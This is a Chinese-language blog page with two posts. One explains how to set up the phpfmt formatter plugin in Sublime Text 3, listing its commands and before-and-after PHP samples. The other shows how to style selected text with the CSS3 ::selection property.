其中的php_bin 很重要,就是你存放php的路径,其中的有些配置我在百度没有搜搜到,在国外的网站上看到的,试了一下还不错,原地址:http://stackoverflow.com/questions/29350807/sublime-text-3-php-fmt-wont-work 有兴趣的童鞋可以去看看。


配置完之后,重启sublime text3,打开你需要格式化的php文件,快捷键:Ctrl+F11 或则是在按下组合键Ctrl+shift+P后输入phpfmt 即可选择想要执行的操作,下面是一些常用命令:

The following features are available through command palette (ctrl+shift+P or cmd+shift+P) :

phpfmt: format now //立即格式化 ctrl+F11
phpfmt: indentation with spaces
phpfmt: toggle additional transformations
phpfmt: toggle excluded transformations
phpfmt: toggle skip execution when .php.tools.ini is missing
phpfmt: toggle auto align
phpfmt: toggle autocomplete
phpfmt: toggle dependency autoimport
phpfmt: toggle format on save
phpfmt: toggle PSR1 - Class and Methods names
phpfmt: toggle PSR1
phpfmt: toggle PSR2
phpfmt: toggle smart linebreak after open curly
phpfmt: toggle visibility order
phpfmt: toggle yoda mode
phpfmt: analyse this //Ctrl+F10
phpfmt: build autocomplete database
phpfmt: getter and setter (camelCase)
phpfmt: getter and setter (Go)
phpfmt: getter and setter (snake_case)
phpfmt: generate PHPDoc block
phpfmt: look for .php.tools.ini
phpfmt: reorganize content of class
phpfmt: refactor
phpfmt: toggle PHP 5.5 compatibility mode
phpfmt: enable/disable additional transformations
phpfmt: troubleshoot information



phpfmt插件作者项目在github的主页:https://github.com/phpfmt/sublime-phpfmt


实际效果看下面是我的亲测的code:

<?php
for($i = 0; $i < 10; $i++)
{
if($i%2==0)
echo "Flipflop";
}

// 格式化之后的样子
<?php
for ($i = 0; $i < 10; $i++) {
    if ($i % 2 == 0) {
        echo "Flipflop";
    }

}
?>

<?php
$a = 10;
$otherVar = 20;
$third = 30;

// 格式化之后的样子
<?php
$a        = 10;
$otherVar = 20;
$third    = 30;

<?php
namespace NS\Something;
use \OtherNS\C;
use \OtherNS\B;
use \OtherNS\A;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// 格式化之后的样子
<?php
namespace NS\Something;

use \OtherNS\A;
use \OtherNS\C;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// PSR version

<?php
for($i = 0; $i < 10; $i++)
{
if($i%2==0)
echo "Flipflop";
}

// 格式化之后的样子
<?php
for ($i = 0; $i < 10; $i++) {
    if ($i % 2 == 0) {
        echo "Flipflop";
    }

}

<?php
class A {
function a(){
return 10;
}
}

// 格式化之后的样子
<?php
class A
{
    public function a()
    {
        return 10;
    }
}

<?php
namespace NS\Something;
use \OtherNS\C;
use \OtherNS\B;
use \OtherNS\A;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();

// 格式化之后的样子

<?php
namespace NS\Something;

use \OtherNS\A;
use \OtherNS\C;
use \OtherNS\D;

$a = new A();
$b = new C();
$d = new D();


如果需要下载使用新版sublime text3 并且免费注册,请查看这篇文章:

(Mrxn分享)Sublime Text 3 Build 3065 安装版注册+汉化




admin 发布于  2015-12-9 12:18 

利用css3的属性来控制网页中被选中的文字颜色和背景色 代码人生

浏览器中默认的选中的文字颜色为白色,背景色为蓝色。并且在火狐和google两个不同的内核浏览器下效果也不一样,google浏览器的两段文字之间的空格也会添加上背景色,火狐的就不会,效果如下:

000112-2015-12-06.jpg

图一 是google浏览器下的效果截图

000113-2015-12-06.jpg

图二 是火狐浏览器下的效果截图

下面两图就是修改后的效果:

000114-2015-12-06.jpg

图一 是火狐浏览器下的效果

000115-2015-12-06.jpg

图二 是google浏览器下的效果

下面就来说说如何利用css3的属性来控制网页中被选中的文字颜色和背景色:

通过查阅资料得知,设置[code]body ::selection[/code]的css属性可以控制,我博客的效果设置代码如下:

[code] body ::selection {
    color:#12C141;
    background-color:#060606;
    text-shadow:none;
}
body ::-moz-selection {
    color:#12C141;
    background-color:#060606;
    text-shadow:none;
}
 [/code]

其中的颜色和背景色可以更具自己的喜好来设置。


关于代码的几点说明:

(1)注意这里是两个冒号,不同于一般伪类的单冒号,此属性应用的css3属性;

(2)由于本站文字采用了[code]text-shadow:none;[/code]属性,而在文字选中后阴影会导致文字模糊,所以这里将阴影去掉,如果你的博客没有使用可以不用添加

(3)ie6,7,8版本不支持此属性,ie9,10未测试;

经过测试,我的总结:

(1)IE9是支持此通过css定制选中文字的背景色的;IE7/IE8/IE9兼容性视图,都是不支持此效果的;

(2)关于选中的效果:IE9和FireFox都是存在行间距,而Chrome为整块选中状态,无行间距;

(3)上述背景色设置,使用[code]background-color[/code]或[code]background[/code],都是有效的



admin 发布于  2015-12-6 15:40